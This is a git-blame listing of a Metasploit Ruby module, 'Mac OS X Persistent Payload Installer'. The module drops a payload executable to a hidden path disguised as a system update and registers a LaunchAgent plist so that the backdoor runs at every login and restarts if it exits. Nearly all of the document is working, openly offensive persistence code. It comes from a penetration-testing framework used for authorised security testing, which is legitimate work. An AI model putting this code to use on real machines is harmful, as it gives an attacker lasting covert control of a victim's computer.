Files
metasploit-gs/modules/exploits/osx/local/persistence.rb
T

161 lines
5.1 KiB
Ruby
Raw Normal View History

2013-08-07 17:19:43 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-21 13:36:15 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-08-07 17:19:43 +02:00
##
2013-10-12 16:47:35 -05:00
require 'msf/core/exploit/exe'
require 'shellwords'
2013-10-12 16:47:35 -05:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
2013-10-12 16:47:35 -05:00
include Msf::Post::Common
include Msf::Post::File
2013-10-18 11:31:02 -05:00
include Msf::Exploit::EXE
2013-10-12 16:47:35 -05:00
def initialize(info={})
super( update_info( info,
'Name' => 'Mac OS X Persistent Payload Installer',
'Description' => %q{
2013-10-28 14:00:19 -05:00
This module provides a persistent boot payload by creating a plist entry
in current user's ~/Library/LaunchAgents directory. Whenever the user logs in,
2013-10-28 14:00:19 -05:00
the LaunchAgent will be invoked and this dropped payload will run.
2013-10-12 16:47:35 -05:00
},
'License' => MSF_LICENSE,
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", "joev" ],
2013-10-12 16:47:35 -05:00
'Platform' => [ 'osx' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
2013-10-12 16:47:35 -05:00
'Targets' => [ [ 'Mac OS X', {} ] ],
'DefaultTarget' => 0,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => 'Apr 01 2012'
2013-10-12 16:47:35 -05:00
))
register_options([
OptString.new('BACKDOOR_PATH',
[true, 'Path to hide the backdoor on the target.',
2013-10-18 14:12:33 -05:00
'~/Library/.<random>/com.system.update']
),
2013-10-18 00:41:18 -05:00
OptBool.new('KEEPALIVE',
[true, 'Continually restart the payload exe if it crashes/exits.', true]
2013-10-18 00:41:18 -05:00
),
OptBool.new('RUN_NOW',
[false, 'Run the installed payload immediately.', false]
2013-10-12 16:47:35 -05:00
)
])
2013-10-12 16:47:35 -05:00
end
def exploit
2013-10-18 14:12:33 -05:00
check_for_duplicate_entry
2013-10-12 16:47:35 -05:00
# Store backdoor on target machine
write_backdoor(generate_payload_exe)
# Add plist file to LaunchAgents dir
2013-10-12 16:47:35 -05:00
add_launchctl_item
2013-10-18 00:41:18 -05:00
# tell the user how to remove the persistence if necessary
list_removal_paths
2013-10-12 16:47:35 -05:00
end
private
# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
def add_launchctl_item
label = File.basename(backdoor_path)
2013-10-18 11:27:37 -05:00
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
2013-10-18 14:12:33 -05:00
# Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
2013-10-12 16:47:35 -05:00
item = <<-EOI
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
2013-10-18 14:12:33 -05:00
<string>#{label}</string>
2013-10-12 16:47:35 -05:00
<key>Program</key>
2013-10-18 14:12:33 -05:00
<string>#{backdoor_path}</string>
2013-10-12 16:47:35 -05:00
<key>ProgramArguments</key>
2013-10-18 14:12:33 -05:00
<array>
<string>#{backdoor_path}</string>
</array>
2013-10-12 16:47:35 -05:00
<key>RunAtLoad</key>
<true/>
2013-10-18 14:12:33 -05:00
<key>OnDemand</key>
<#{keepalive?}/>
2013-10-12 16:47:35 -05:00
<key>KeepAlive</key>
<#{keepalive?}/>
2013-10-12 16:47:35 -05:00
</dict>
</plist>
EOI
2013-10-18 00:41:18 -05:00
if write_file(plist_path, item)
2013-10-12 16:47:35 -05:00
print_good("LaunchAgent added: #{plist_path}")
else
2015-04-16 21:26:37 +02:00
fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
2013-10-12 16:47:35 -05:00
end
2013-10-18 14:12:33 -05:00
if run_now?
cmd_exec("launchctl load -w #{plist_path.shellescape}")
end
2013-10-18 00:41:18 -05:00
2013-10-18 14:12:33 -05:00
print_good("LaunchAgent installed successfully.")
2013-10-18 00:41:18 -05:00
end
2013-10-12 16:47:35 -05:00
# path to upload the backdoor. any <user> or <random> substrings will be replaced.
# @return [String] path to drop the backdoor payload.
def backdoor_path
@backdoor_path ||= (datastore['BACKDOOR_PATH']
.gsub('<random>'){ Rex::Text.rand_text_alpha(8) }
2013-10-18 14:12:33 -05:00
.gsub(/^~\//, "/Users/#{user}/"))
end
# raises an error if a Launch Agent already exists at desired same plist_path
def check_for_duplicate_entry
if file?(plist_path)
fail_with "FileError", "Duplicate LaunchAgent plist already exists at #{plist_path}"
end
end
# @return [Boolean] user wants the persistence to be restarted constantly if it exits
2014-12-11 23:30:20 +01:00
def keepalive?
datastore['KEEPALIVE']
end
2013-10-18 14:12:33 -05:00
# useful if you want to remove the persistence.
# prints out a list of paths to remove and commands to run.
def list_removal_paths
removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"
removal_command << " ; rm #{plist_path}"
removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"
removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"
print_status("To remove the persistence, run:\n#{removal_command}\n")
2013-10-12 16:47:35 -05:00
end
2013-10-18 00:41:18 -05:00
# path to the LaunchAgent service configuration plist
# @return [String] path to the LaunchAgent service
def plist_path
@plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist"
end
2013-10-18 14:12:33 -05:00
# @return [Boolean] user wants to launch the LaunchAgent immediately
2014-12-11 23:30:20 +01:00
def run_now?
datastore['RUN_NOW']
end
2013-10-12 16:47:35 -05:00
# @return [String] username of the session
2014-12-11 23:30:20 +01:00
def user
@user ||= cmd_exec('whoami').strip
end
2013-10-18 14:12:33 -05:00
# drops the file to disk, then makes it executable
# @param [String] exe the executable to drop
def write_backdoor(exe)
print_status("Dropping backdoor executable...")
cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
if write_file(backdoor_path, exe)
print_good("Backdoor stored to #{backdoor_path}")
cmd_exec("chmod +x #{backdoor_path.shellescape}")
else
2015-04-16 21:26:37 +02:00
fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
2013-10-18 14:12:33 -05:00
end
2013-10-12 16:47:35 -05:00
end
end